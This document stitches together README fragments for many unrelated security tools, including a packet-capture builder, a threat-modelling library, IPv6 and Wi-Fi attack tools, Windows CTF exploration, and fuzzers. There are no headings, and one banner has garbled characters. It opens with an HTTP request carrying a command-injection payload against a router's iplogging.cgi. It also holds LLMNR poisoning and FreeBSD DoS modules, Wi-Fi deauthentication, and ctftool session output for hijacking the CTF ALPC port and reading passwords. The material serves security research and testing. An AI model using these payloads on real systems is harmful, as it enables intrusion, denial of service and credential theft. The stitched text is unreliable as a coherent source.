POST /admin/tools/iplogging.cgi HTTP/1.1
Host: 192.168.13.31:80
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/plain, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.13.31:80/admin/tools/iplogging.html
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 63
Cookie: token=1e9c07e135a15e40b3290c320245ca9a
Connection: close

tcpdumpParams=tcpdump -z reboot -G 2 -i eth0&stateRequest=start

git clone https://github.com/Cisco-Talos/Re2Pcap.git
cd Re2Pcap/
docker build -t re2pcap .
docker run --rm --cap-add NET_ADMIN -p 5000:5000 re2pcap

docker run --rm --cap-add NET_ADMIN -p 5000:5000 --name re2pcap amitraut/re2pcap

• Docker
• HTTP Raw Request / Response
• Web Browser (for best results, please use Chromium based web browsers)

• Easy setup. No complex multi-VM setup required
• Re2Pcap runs on Alpine Linux based docker image that weighs less than 100 MB :D
• Allows you to dump simulated raw HTTP request and response in to PCAP

FROM alpine

# Get required dependencies and setup for Re2Pcap
RUN echo "http://dl-cdn.alpinelinux.org/alpine/edge/testing" >> /etc/apk/repositories
RUN apk update && apk add python3 tcpdump tcpreplay
RUN pip3 install --upgrade pip
RUN pip3 install pexpect flask requests httpretty requests-toolbelt

COPY Re2Pcap/ /Re2Pcap
RUN cd Re2Pcap && chmod +x Re2Pcap.py

WORKDIR /Re2Pcap
EXPOSE 5000/tcp

# Run application at start of new container
CMD ["/usr/bin/python3", "Re2Pcap.py"]

• Video walkthrough shows pcap creation for Sierra Wireless AirLink ES450 ACEManager iplogging.cgi command injection vulnerability using Re2Pcap web interface

• Video walkthrough of PCAP creation for Sierra Wireless AirLink ES450 ACEManager iplogging.cgi command injection vulnerability using Re2Pcap-cmd script

• Please use Linux as your host operating system as Re2Pcap is well tested on Linux
• If creating PCAP for Host: somedomain:5000 i.e. port 5000, please change Flask application to run on other port by modifying Re2Pcap.Py app.run call otherwise PCAP will contain Flask application response

• If raw HTTP request is without Accept-Encoding: header Accept-Encoding: identity is added in the reqeust
  
  • There is known issue for it in python requests. Following is closing note for that issue

  That's really fairly terrible. Accept-Encoding: identity is always valid, the RFCs say so. It should be utterly harmless to send it along. Otherwise, removing this requires us to replace httplib. That's a substantial bit of work. =(

• The following are source and desination IPs in PCAPs from Re2Pcap
  
  • Sourece IP: 10.10.10.1
  • Destination IP: 172.17.0.2 or (Re2Pcap Container's IP Address)
  Please use tcprewrite -D option to modify desitnation IP to something else as per your need. You may also use tcpprep and tcprewrite to set other IPs as endpoints. Due to inconsistent result of tcprewrite I used alternative way to set different SRC/DST IPs
  
• Specifying HTTP/1.1 302 FOUND as response will generated PCAP with maximum possible retries to reach resource specified in Location: header. Plase export the first HTTP stream using wireshark in testing if you do not like the additional noise of other streams
  

• curl (cli)

• Ask.com
• Search.yahoo.com
• Bing.com

git clone https://github.com/zerobyte-id/SEcraper.git
cd SEcraper/

bash secraper.bash "QUERY"

• Full integration with a network scanner for comprehensive vulnerability management
• Malware scanning using Windows Defender or ClamAV
• The revolutionary SmartScan engine– find up to 80% vulnerabilities in the first 20% of the scan
• Incremental scans – you may scan only the parts of your web applications that changed
• Improved user experience thanks to a new user interface – better-looking, more intuitive, with more options

1. Download injuredandroid.apk from Github
   
2. Enable USB debugging on your Android test phone.
   
3. Connect your phone and your pc with a usb cable.
   
4. Install via adb. adb install injuredandroid.apk. Note: You need to use the absolute path to the .apk file or be in the same directory.

1. Download the apk file.
   
2. Start the emulator from Android Studio (I recommend downloading an emulator with Google APIs so root adb can be enabled).
   
3. Drag and drop the .apk file on the emulator and injuredandroid.apk will install.
   

• XSSTEST is just for fun and to raise awareness on how WebViews can be made vulnerable to XSS.
  
• The login flags just need the flag submitted.
  
• The flags without a submit that demonstrate concepts will automatically register in the "Flags Overview" Activity.
  
• The last two flags don't register because there currently isn't a remote verification method (I plan to change this in a future update). This was done to prevent using previous flag methods to skip the exploitation techniques.
  
• There is one flag with a Pentesterlab 1 month gift key. The key is stored in a self destructing note after It's read, do not close the browser tab before copying the url.
  
• The exclamatory buttons on the bottom right will give users up to three tips for each flag.
  

• Linux/MacOS
• Python 3.x
• Graphviz package
• Java (OpenJDK 10 or 11)
• plantuml.jar

tm.py [-h] [--debug] [--dfd] [--report REPORT] [--exclude EXCLUDE] [--seq] [--list] [--describe DESCRIBE]    optional arguments:    -h, --help           show this help message and exit    --debug              print debug messages    --dfd                output DFD (default)    --report REPORT      output report using the named template file (sample template file is under docs/template.md)    --exclude EXCLUDE    specify threat IDs to be ignored    --seq                output sequential diagram    --list               list all available threats    --describe DESCRIBE  describe the properties available for a given element    

  (pytm) ➜  pytm git:(master) ✗ ./tm.py --describe Element  Element   OS   check   definesConnectionTimeout   description   dfd   handlesResources   implementsAuthenticationScheme   implementsNonce   inBoundary   inScope   isAdmin   isHardened   name   onAWS    

tm.py [-h] [--debug] [--dfd] [--report REPORT] [--exclude EXCLUDE] [--seq] [--list] [--describe DESCRIBE]

optional arguments:
  -h, --help           show this help message and exit
  --debug              print debug messages
  --dfd                output DFD (default)
  --report REPORT      output report using the named template file (sample template file is under docs/template.md)
  --exclude EXCLUDE    specify threat IDs to be ignored
  --seq                output sequential diagram
  --list               list all available threats
  --describe DESCRIBE  describe the properties available for a given element

(pytm) ➜  pytm git:(master) ✗ ./tm.py --describe Element
Element
 OS
 check
 definesConnectionTimeout
 description
 dfd
 handlesResources
 implementsAuthenticationScheme
 implementsNonce
 inBoundary
 inScope
 isAdmin
 isHardened
 name
 onAWS

{
   "SID":"INP01",
   "target": ["Lambda","Process"],
   "description": "Buffer Overflow via Environment Variables",
   "details": "This attack pattern involves causing a buffer overflow through manipulation of environment variables. Once the attacker finds that they can modify an environment variable, they may try to overflow associated buffers. This attack leverages implicit trust often placed in environment variables.",
   "Likelihood Of Attack": "High",
   "severity": "High",
   "condition": "target.usesEnvironmentVariables is True and target.sanitizesInput is False and target.checksInputBounds is False",
   "prerequisites": "The application uses environment variables.An environment variable exposed to the user is vulnerable to a buffe   r overflow.The vulnerable environment variable uses untrusted data.Tainted data used in the environment variables is not properly validated. For instance boundary checking is not done before copying the input data to a buffer.",
   "mitigations": "Do not expose environment variable to the user.Do not use untrusted data in your environment variables. Use a language or compiler that performs automatic bounds checking. There are tools such as Sharefuzz [R.10.3] which is an environment variable fuzzer for Unix that support loading a shared library. You can use Sharefuzz to determine if you are exposing an environment variable vulnerable to buffer overflow.",
   "example": "Attack Example: Buffer Overflow in $HOME A buffer overflow in sccw allows local users to gain root access via the $HOME environmental variable. Attack Example: Buffer Overflow in TERM A buffer overflow    in the rlogin program involves its consumption of the TERM environmental variable.",
   "references": "https://capec.mitre.org/data/definitions/10.html, CVE-1999-0906, CVE-1999-0046, http://cwe.mitre.org/data/definitions/120.html, http://cwe.mitre.org/data/definitions/119.html, http://cwe.mitre.org/data/definitions/680.html"
 }

#!/usr/bin/env python3

from pytm.pytm import TM, Server, Datastore, Dataflow, Boundary, Actor, Lambda

tm = TM("my test tm")
tm.description = "another test tm"

User_Web = Boundary("User/Web")
Web_DB = Boundary("Web/DB")

user = Actor("User")
user.inBoundary = User_Web

web = Server("Web Server")
web.OS = "CloudOS"
web.isHardened = True

db = Datastore("SQL Database (*)")
db.OS = "CentOS"
db.isHardened = False
db.inBoundary = Web_DB
db.isSql = True
db.inScope = False

my_lambda = Lambda("cleanDBevery6hours")
my_lambda.hasAccessControl = True
my_lambda.inBoundary = Web_DB

my_lambda_to_db = Dataflow(my_lambda, db, "(λ)Periodically cleans DB")
my_lambda_to_db.protocol = "SQL"
my_lambda_to_db.dstPort = 3306

user_to_web = Dataflow(user, web, "User enters comments (*)")
user_to_web.protocol = "HTTP"
user_to_web.dstPort = 80
user_to_web.data = 'Comments in HTML or Markdown'
user_to_web.order = 1

web_to_user = Dataflow(web, user, "Comments saved (*)")
web_to_user.protocol = "HTTP"
web_to_user.data = 'Ack of saving or error message, in JSON'
web_to_user.order = 2

web_to_db = Dataflow(web, db, "Insert query with comments")
web_to_db.protocol = "MySQL"
web_to_db.dstPort = 3306
web_to_db.data = 'MySQL insert statement, all literals'
web_to_db.order = 3

db_to_web = Dataflow(db, web, "Comments contents")
db_to_web.protocol = "MySQL"
db_to_web.data = 'Results of insert op'
db_to_web.order = 4

tm.process()

tm.py --dfd | dot -Tpng -o sample.png

  # Threat Model Sample  ***    ## System Description    {tm.description}    ## Dataflow Diagram    ![Level 0 DFD](dfd.png)    ## Dataflows    Name|From|To |Data|Protocol|Port  ----|----|---|----|--------|----  {dataflows:repeat:{{item.name}}|{{item.source.name}}|{{item.sink.name}}|{{item.data}}|{{item.protocol}}|{{item.dstPort}}  }    ## Findings    {findings:repeat:* {{item.description}} on element "{{item.target}}"  }    

INP01 - Buffer Overflow via Environment Variables  INP02 - Overflow Buffers  INP03 - Server Side Include (SSI) Injection  CR01 - Session Sidejacking  INP04 - HTTP Request Splitting  CR02 - Cross Site Tracing  INP05 - Command Line Execution through SQL Injection  INP06 - SQL Injection through SOAP Parameter Tampering  SC01 - JSON Hijacking (aka JavaScript Hijacking)  LB01 - API Manipulation  AA01 - Authentication Abuse/ByPass  DS01 - Excavation  DE01 - Interception  DE02 - Double Encoding  API01 - Exploit Test APIs  AC01 - Privilege Abuse  INP07 - Buffer Manipulation  AC02 - Shared Data Manipulation  DO01 - Flooding  HA01 - Path Traversal  AC03 - Subverting Environment Variable Values  DO02 - Excessive Allocation  DS02 - Try All Common Switches  INP08 - Format String Injection  INP09 - LDAP Injection  INP10 - Parameter Injection  INP11 - Relative Path Traversal  INP12 - Client-side Injection-induced Buffer Overflow  AC04 - XML Schema Poisoning  DO03 - XML Ping of the Death  AC05 - Content Spoofing  INP13 - Command Delimiters  INP14 - Input Data Manipulation  DE03 - Sniffing Attacks  CR03 - Dictionary-based Password Attack  API02 - Exploit Script-Based APIs  HA02 - White Box Reverse Engineering  DS03 - Footprinting  AC06 - Using Malicious Files  HA03 - Web Application Fingerprinting  SC02 - XSS Targeting Non-Script Elements  AC07 - Exploiting Incorrectly Configured Access Control Security Levels  INP15 - IMAP/SMTP Command Injection  HA04 - Reverse Engineering  SC03 - Embedding Scripts within Scripts  INP16 - PHP Remote File Inclusion  AA02 - Principal Spoof  CR04 - Session Credential Falsification through Forging  DO04 - XML Entity Expansion  DS04 - XSS Targeting Error Pages  SC04 - XSS Using Alternate Syntax  CR05 - Encryption Brute Forcing  AC08 - Manipulate Registry Information  DS05 - Lifting Sensitive Data Embedded in Cache      

The IPv6Tools framework is a robust set of modules and plugins that allow a user to audit an IPv6 enabled network. The built-in modules support enumeration of IPv6 features such as ICMPv6 and Multicast Listener Discovery (MLD). In addition, the framework also supports enumeration of Upper Layer Protocols (ULP) such as multicast DNS (mDNS) and Link-Local Multicast Name Resolution (LLMNR). Users can easily expand the capability of the framework by creating plugins and modules in the Python language.

• python 2.7
• pip
• npm [development only]

1. git clone http://github.com/apg-intel/ipv6tools.git
2. sudo pip install -r requirements.txt

1. git clone http://github.com/apg-intel/ipv6tools.git
2. git checkout dev
3. npm run setup

1. sudo python app.py
2. Navigate to http://localhost:8080 in a web browser

1. Run $ npm run serve
2. In a separate terminal, run npm run dev
3. Navigate to http://localhost:8081 in a web browser

• poisonLLMNR - Link-Local Multicast Name Resolution is the successor of of NBT-NS, which allows local nodes to resolve names and IP addresses. Enabling this module poisons LLMNR queries to all nodes on the local link.
• CVE-2016-1879 - The following CVE is a vulnerability in SCTP that affects FreeBSD 9.3, 10.1 and 10.2. Enabling this module will launch a crafted ICMPv6 packet and potentially cause a DoS (assertion failure or NULL pointer dereference and kernel panic) to a single node.

from template import Template

class IPv6Module(Template):

  def __init__(self, socketio, namespace):
    super(IPv6Module, self).__init__(socketio, namespace)
    self.modname = "CVE-2016-1879"
    self.menu_text = "FreeBSD IPv6 DoS"
    self.actions = [
      {
        "title": "FreeBSD IPv6 DoS", #name that's displayed on the buttons/menu
        "action": "action", #method name to call
        "target": True #set this to true to display it in the right-click menu
      }
    ]

  def action(self, target=None):
    # send a log msg
    self.socket_log('Running DoS on '+target['ip'])

    # do stuff, etc

    # merge results with main result set
    listOfDicts = [{ip: '::1', device_name: 'test'}]
    self.module_merge(listOfDicts)

• Untested on large networks
• Any stack traces mentioning dnet or dumbnet - follow the instructions below.
• Some operating systems may require the libpcap headers. See notes below.

git clone https://github.com/dugsong/libdnet.git
cd libdnet
./configure && make
sudo make install
cd python
python setup.py install

• High Internet Connection Speed.
• A New PC that is capable of handling a high amount of threads concurrently.
• Luck Of course.

• Supports Multithreading For Efficiency and Faster Processing.
• One Of It Kind.
• Ability To Crawl All the sites not only a specific webpage.
• Versatile.

• Isn't Supported On Phones Due to the high demand for hardware.
• Requires a High-Speed internet connection for it to work well or you will get errors or take too much time.
• Requires Medium to best hardware since it deals and manages with high amounts of threads and any old hardware the script will cause the computer to lag or crash so take care.

• macchanger
• mdk3
• nmcli

$ git clone https://github.com/aryanrtm/KawaiiDeauther
$ cd KawaiiDeauther && sudo ./install.sh
$ sudo KawaiiDeauther.sh

• Takedown with SSID
• Takedown all channels
• Spam many fake AP

• Twitter: @4wsec_

╔═╗┌─┐┌─┐┌┐┌╦═╗┌─┐┬  ┌─┐┬ ┬╔╦╗┌─┐┌─┐┬┌─┐
║ ║├─┘├┤ │││╠╦╝├┤ │  ├─┤└┬┘║║║├─┤│ ┬││  
╚═╝┴  └─┘┘└┘╩╚═└─┘┴─┘┴ ┴ ┴ ╩ ╩┴ ┴└─┘┴└─┘

• Check single target/ domain list
• Port 587 and 465 Implemented
• Multithreaded

• Add example usages
• Add docs
• Add response headers to NewServer
• Add request header assertions
• Add multiple request assertion logic
• Extract Request().Body to requestRecorder.Body binding logic to CustomBinder
• Add NewServerWithTimeout for testing API timeouts
• http.RoundTripper interface can be implemented to mock arbitrary URLs
• A Builder can be written to NewServer for ease of use

$ ./ctftool.exe
An interactive ctf exploration tool by @taviso.
Type "help" for available commands.
Most commands require a connection, see "help connect".
ctf> help
Type `help <command>` for help with a specific command.
Any line beginning with # is considered a comment.

help            - List available commands.
exit            - Exit the shell.
connect         - Connect to CTF ALPC Port.
info            - Query server informaiton.
scan            - Enumerate connected clients.
callstub        - Ask a client to invoke a function.
createstub      - Ask a client to instantiate CLSID.
hijack          - Attempt to hijack an ALPC server path.
sendinput       - Send keystrokes to thread.
setarg          - Marshal a parameter.
getarg          - Unmarshal a parameter.
wait            - Wait for a process and set it as the default thread.
thread          - Set the default thread.
sleep              - Sleep for specified milliseconds.
forget          - Forget all known stubs.
stack           - Print the last leaked stack ptr.
marshal         - Send command with marshalled parameters.
proxy           - Send command with proxy parameters.
call            - Send command without appended data.
window          - Create and register a message window.
patch           - Patch a marshalled parameter.
module          - Print the base address of a module.
module64        - Print the base address of a 64bit module.
editarg         - Change the type of a marshalled parameter.
symbol          - Lookup a symbol offset from ImageBase.
set             - Change or dump various ctftool parameters.
show            - Show the value of special variables you can use.
lock            - Lock the workstation, switch to Winlogon desktop.
repeat          - Repeat a command multiple times.
run             - Run a command.
script             - Source a script file.
print           - Print a string.
consent         - Invoke the UAC consent dialog.
reg             - Lookup a DWORD in the registry.
gadget          - Find the offset of a pattern in a file.
section         - Lookup property of PE section.
Most commands require a connection, see "help connect".
ctf>

ctf> connect
The ctf server port is located at \BaseNamedObjects\msctf.serverDefault1
NtAlpcConnectPort("\BaseNamedObjects\msctf.serverDefault1") => 0
Connected to CTF server@\BaseNamedObjects\msctf.serverDefault1, Handle 00000264
ctf> scan
Client 0, Tid 3400 (Flags 0x08, Hwnd 00000D48, Pid 8696, explorer.exe)
Client 1, Tid 7692 (Flags 0x08, Hwnd 00001E0C, Pid 8696, explorer.exe)
Client 2, Tid 9424 (Flags 0x0c, Hwnd 000024D0, Pid 9344, SearchUI.exe)
Client 3, Tid 12068 (Flags 0x08, Hwnd 00002F24, Pid 12156, PROCEXP64.exe)
Client 4, Tid 9740 (Flags 0000, Hwnd 0000260C, Pid 3840, ctfmon.exe)

If you don't want to build it yourself, check out the releases tab

git submodule update --init --recursive

The examples only work on Windows 10 x64. All platforms and versions since Windows XP are affected, but no PoC is currently implemented.

An interactive ctf exploration tool by @taviso.
Type "help" for available commands.
Most commands require a connection, see "help connect".
ctf> script .\scripts\ctf-consent-system.ctf

ctf> script .\scripts\ctf-exploit-common-win10.ctf

You can use dumpbin /headers /loadconfig to dump the whitelisted branch targets.

combase!CStdProxyBuffer_CF_AddRef:
      mov     rcx,qword ptr [rcx-38h]
      mov     rax,qword ptr [rcx]    
      mov     rax,qword ptr [rax+8]  
      jmp     qword ptr [combase!__guard_dispatch_icall_fptr]

MSCTF!CCompartmentEventSink::OnChange:
      mov     rax,qword ptr [rcx+30h]
      mov     rcx,qword ptr [rcx+38h]
      jmp     qword ptr [MSCTF!_guard_dispatch_icall_fptr]

• Sending commands to an elevated command window.
• Reading passwords out of dialogs or the login screen.
• Escaping IL/AppContainer sandboxes by sending input to unsandboxed windows.

An interactive ctf exploration tool by @taviso.
Type "help" for available commands.
ctf> hijack Default 1
NtAlpcCreatePort("\BaseNamedObjects\msctf.serverDefault1") => 0 00000218
NtAlpcSendWaitReceivePort("\BaseNamedObjects\msctf.serverDefault1") => 0 00000218
000000: 18 00 30 00 0a 20 00 00 00 11 00 00 44 11 00 00  ..0.. ......D...
000010: a4 86 00 00 b7 66 b8 00 00 11 00 00 44 11 00 00  .....f......D...
000020: e7 12 01 00 0c 00 00 00 80 01 02 00 20 10 d6 05  ............ ...
A a message received
        ProcessID: 4352, SearchUI.exe
        ThreadId: 4420
        WindowID: 00020180
NtAlpcSendWaitReceivePort("\BaseNamedObjects\msctf.serverDefault1") => 0 00000218
000000: 18 00 30 00 0a 20 00 00 ac 0f 00 00 0c 03 00 00  ..0.. ..........
000010: ec 79 00 00 fa 66 b8 00 ac 0f 00 00 0c 03 00 00  .y...f..........
000020: 12 04 01 00 08 00 00 00 10 01 01 00 00 00 00 00  ................
A a message rec   eived
        ProcessID: 4012, explorer.exe
        ThreadId: 780
        WindowID: 00010110
NtAlpcSendWaitReceivePort("\BaseNamedObjects\msctf.serverDefault1") => 0 00000218
000000: 18 00 30 00 0a 20 00 00 ac 0f 00 00 0c 03 00 00  ..0.. ..........
000010: fc 8a 00 00 2a 67 b8 00 ac 0f 00 00 0c 03 00 00  ....*g..........
000020: 12 04 01 00 08 00 00 00 10 01 01 00 58 00 00 00  ............X...
A a message received
        ProcessID: 4012, explorer.exe
        ThreadId: 780
...

An interactive ctf exploration tool by @taviso.
Type "help" for available commands.
Most commands require a connection, see "help connect".
ctf> help connect
Connect to CTF ALPC Port.

Usage: connect [DESKTOPNAME SESSIONID]
Without any parameters, connect to the ctf monitor for the current
desktop and session. All subsequent commands will use this connection
for communicating with the ctf monitor.

If a connection is already open, the existing connection is closed first.

If DESKTOPNAME and SESSIONID are specified, a connection to ctf monitor
for another desktop and session are opened, if it exists.
If the specified port does not exist, wait until it does exist. This is
so that you can wait for a session that hasn't started
yet in a script.
Examples
 Connect to the monitor for current desktop
  ctf> connect
 Connect to a specific desktop and session.
  ctf> connect Default 1
Most commands require a connection, see "help connect".

There are some websites that claim ctfmon has something to do with Clear Type Fonts or the Azure Collaborative Translation Framework. They're mistaken.

Update: Jake Nelson finds evidence for "Common Text Framework"

• pe-parse, by Andrew Ruef et al.
  • pe-parse is used to implement a GetProcAddress() for 64-bit modules from a 32-bit process. This is used in the symbol command, and allows the same binary to work on x64 and x86.
• wineditline, by Paolo Tosco.
  • wineditline is used to implement user friendly command-line input and history editing.
• dynamorio, by Derek Bruening et al.
  • I borrowed some of the prototypes and type definitions from DR.
• ntdll.h, by Ladislav Zezula.
  • Ladislav collected some structure definitions and prototoypes from various WDK, DDK, SDK releases into one convenient file.

• Data Generation modules fully recoded (Primitives, Blocks, Requests)
  • Improved Strings fuzzing libraries, allowing also for custom lists, files and callback commands
  • Variable data type, which takes a variable set by the session, the user or a Response
• Session fully recoded. Now it is based on TestCases, which contains all the information needed to perform the request, check the response, store data such as errors received, etc.
• Responses added. Now you can define responses with s_response(), This allows to check the response from the server, set variables and even perform additional tests on the response to check if something is wrong
• Monitors now automatically mark TestCases as suspect if they fail
• Added the IPP (Internet Printing Protocol) Fuzzer that we used to find several vulnerabilities in different printer brands during our printers research project (https://www.youtube.com/watch?v=3X-ZnlyGuWc&t=7s)

• Based on Sulley Fuzzer for data generation [https://github.com/OpenRCE/sulley]
• Actually, forked BooFuzz (which is a fork of Sulley) [https://github.com/jtpereyda/boofuzz ]
• Python3
• Not random (finite number of possibilities)
• Requires to “create the packets” with types (spike fuzzer style)
• Also allows to create ""Raw"" packets from parameters, with injection points (quite useful for fuzzing simple protocols)
• Has a nice console to pause, review and retest any suspect (prompt_toolkit ftw)
• Allows to skip parameters that cause errors, automatically or with the console
• Nice print formats for suspect packets (to know exactly what was fuzzed)
• It saves PoCs as python scripts for you when you mark a test case as a crash
• Monitor modules to gather information of the target, detecting odd behaviours and marking suspects
• Restarter modules that will restart the target if the connection is lost (e.g. powering off and on an smart plug)

• LPD (Line Printing Daemon): Fully implemented
• IPP (Internet Printing Protocol): Partially implemented
• BACnet (Building Automation and Control networks Protocol): Partially implemented
• Modbus (ICS communication protocol): Partially implemented

virtualenv venv -p python3
source venv/bin/activate
pip install -r requirements.txt

usage: python -m fuzzowski [-h] [-p {tcp,udp,ssl}] [-b BIND] [-st SEND_TIMEOUT]
                    [-rt RECV_TIMEOUT] [--sleep-time SLEEP_TIME] [-nc] [-tn]
                    [-nr] [-nrf] [-cr]
                    [--threshold-request CRASH_THRESHOLD_REQUEST]
                    [--threshold-element CRASH_THRESHOLD_ELEMENT]
                    [--ignore-aborted] [--ignore-reset] [--error-fuzz-issues]
                    [-c CALLBACK | --file FILENAME] -f
                    {cops,dhcp,ipp,lpd,netconf,telnet_cli,tftp,raw}
                    [-r FUZZ_REQUESTS [FUZZ_REQUESTS ...]]
                    [--restart module_name [args ...]]
                    [--restart-sleep RESTART_SLEEP_TIME]
                    [--monitors {IPPMon} [{IPPMon} ...]] [--path PATH]
                    [--document_url DOCUMENT_URL]
                    host port

â–ˆ      â–ˆ       
&#226   ;–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆ       
██████████      
██  ████  ██     
██  ████  ██     
████      ████    
█ █████   ███████ █   
█  ██████████  █   Fuzzowski Network Fuzzer
█    █     █   █           🄯  Fuzzers, inc.
██     ██       

positional arguments:
  host                  Destination Host
  port                  Destination Port

optional arguments:
  -h, --help            show this help message and exit

Connection Options:
  -p {tcp,udp,ssl}, --protocol {tcp,udp,ssl}
                        Protocol (   Default tcp)
  -b BIND, --bind BIND  Bind to port
  -st SEND_TIMEOUT, --send_timeout SEND_TIMEOUT
                        Set send() timeout (Default 5s)
  -rt RECV_TIMEOUT, --recv_timeout RECV_TIMEOUT
                        Set recv() timeout (Default 5s)
  --sleep-time SLEEP_TIME
                        Sleep time between each test (Default 0)
  -nc, --new-conns      Open a new connection after each packet of the same test
  -tn, --transmit-next-node
                        Transmit the next node in the graph of the fuzzed node

RECV() Options:
  -nr, --no-recv        Do not recv() in the socket after each send
  -nrf, --no-recv-fuzz  Do not recv() in the socket after sending a fuzzed request
  -cr, --check-recv     Check that data has been received in recv()

Crashes Options:
  --threshold-request CRASH_THRESHOLD_REQUEST
                        Set the number of allowed crashes in a Request before skippi   ng it (Default 9999)
  --threshold-element CRASH_THRESHOLD_ELEMENT
                        Set the number of allowed crashes in a Primitive before skipping it (Default 3)
  --ignore-aborted      Ignore ECONNABORTED errors
  --ignore-reset        Ignore ECONNRESET errors
  --error-fuzz-issues   Log as error when there is any connection issue in the fuzzed node

Fuzz Options:
  -c CALLBACK, --callback CALLBACK
                        Set a callback address to fuzz with callback generator instead of normal mutations
  --file FILENAME       Use contents of a file for fuzz mutations

Fuzzers:
  -f {cops,dhcp,ipp,lpd,netconf,telnet_cli,tftp,raw}, --fuzz {cops,dhcp,ipp,lpd,netconf,telnet_cli,tftp,raw}
                        Available Protocols
  -r FUZZ_REQUESTS [FUZZ_REQUESTS ...], --requests FUZZ_REQUESTS [FUZZ_REQUESTS ...]
                           Requests of the protocol to fuzz, default All
                          dhcp: [opt82]
                          ipp: [http_headers, get_printer_attribs, print_uri_message, send_uri, get_jobs, get_job_attribs]
                          lpd: [long_queue, short_queue, ctrl_file, data_file, remove_job]
                          telnet_cli: [commands]
                          tftp: [read]
                          raw: ['\x01string\n' '\x02request2\x00' ...]

Restart options:
  --restart module_name [args ...]
                        Restarter Modules:
                          run: '<executable> [<argument> ...]' (Pass command and arguments within quotes, as only one argument)
                          smartplug: It will turn off and on the Smart Plug
                          teckin: <PLUG_IP>
  --restart-sleep RESTART_SLEEP_TIME
                        Set sleep seconds after a crash bef   ore continue (Default 5)

Monitor options:
  --monitors {IPPMon} [{IPPMon} ...], -m {IPPMon} [{IPPMon} ...]
                        Monitor Modules:
                          IPPMon: Sends a get-attributes IPP message to the target

Other Options:
  --path PATH           Set path when fuzzing HTTP based protocols (Default /)
  --document_url DOCUMENT_URL
                        Set Document URL for print_uri

pip3 install psutil
git clone https://github.com/mxmssh/manul
cd manul
mkdir in
mkdir out
echo "AAAAAA" > in/test
python3 manul.py -i in -o out -n 4 "linux/test_afl @@"

sudo apt-get install gcc make git wget
git clone https://gitlab.com/akihe/radamsa.git && cd radamsa && make && sudo make install

1. psutil
2. Python 2.7+ (will be deprecated after 1 Jan. 2020) or Python 3.7+ (preferred)

CC=afl-gcc CXX=afl-g++ CFLAGS=-fsanitize=address CXXFLAGS=-fsanitize=address cmake <path_to_your_target>
make -j 8

USE_ASAN=1 CC=afl-clang-fast CXX=afl-clang-fast++ cmake <path_to_your_target>
make -j 8

linux/dbi_32|dbi_64/afl-pin.so (Intel PIN client)
linux/dbi_32|dbi_64/libbinafl.so (DynamoRIO client)
win/dbi_32|dbi_64/binafl.dll

# Choose DBI framework to provide coverage back to Manul ("dynamorio" or "pin"). Example dbi = dynamorio
dbi = dynamorio
# If dbi parameter is not None the path to dbi engine launcher and dbi client should be specified.
dbi_root = /home/max/DynamoRIO/bin64/drrun
dbi_client_root = /home/max/manul/linux/dbi_64/libbinafl.so
dbi_client_libs = None

64-bit Linux

cd dbi_clients_src
wget https://github.com/DynamoRIO/dynamorio/releases/download/cronbuild-7.91.18124/DynamoRIO-x86_64-Linux-7.91.18124-0.tar.gz
tar xvf DynamoRIO-x86_64-Linux-7.91.18124-0.tar.gz
mkdir client_64
cd client_64
cmake ../dr_cov/ -DDynamoRIO_DIR=/home/max/manul/dbi_clients_src/DynamoRIO-x86_64-Linux-7.91.18124-0/cmake
make

Example: python3 manul.py -i corpus -o out_dir -n 40 "target @@"

positional arguments:
  target_binary  The target binary and options to be executed (don't forget to include quotes e.g. "target e @@").

optional arguments:
  -h, --help     show this help message and exit
  -n NFUZZERS    Number of parallel fuzzers
  -s             Run dumb fuzzing (no code instrumentation)
  -c CONFIG      Path to config file with additional options (see Configuration File Options section below)
  -r             Restore previous session

Required parameters:
  -i INPUT       Path to directory with initial corpus
  -o OUTPUT      Path to output directory

1. Create a file with a list of hosts in the following format: IP:port where your slaves will be executed.
2. Start all Manul slave instances on remote machines (with all required options and path to target binary) and enable the following option: net_config_slave = 0.0.0.0:1337. Manul will launch the instance and will wait for incoming connection from master instance on port 1337.
3. Start the master instance and provide the file with a list of slave instances created on Step 1 using net_config_master = file_name.

Ordinarily if there are no records to return for a DNS name you might expect an NXDOMAIN error:

▶ host four.tomnomnom.uk
Host four.tomnomnom.uk not found: 3(NXDOMAIN)

You may have noticed that sometimes you get an empty response instead though:

▶ host three.tomnomnom.uk

The difference in the latter case is often that another name - one that has your queried name as a suffix - exists and has records to return

▶ host one.two.three.tomnomnom.uk
one.two.three.tomnomnom.uk has address 46.101.59.42

This difference in response can be used to help avoid dead-ends in recursive DNS brute-forcing by not recursing in the former situation:

▶ echo -e "www\none\ntwo\nthree" | ettu tomnomnom.uk
one.two.three.tomnomnom.uk

git clone https://github.com/MilindPurswani/Syborg.git

pip3 install -r requirements.txt

python3 syborg.py yahoo.com 

cpulimit -l 50 -p $(pgrep python3)

sudo apt install cpulimit

1. @nahamsec for his invaluable contribution towards the community by live streams. Check out his twitch channel https://twitch.tv/nahamsec
2. @tomnomnom for making such awesome tools and sharing with everyone. Be sure to check out his twitch https://www.twitch.tv/tomnomnomuk
3. @GP89 for the FileQueue lib that resolved high memory consumption problem with Syborg.
4. Patrik Hudak for his awesome teachings and tools like dnsgen.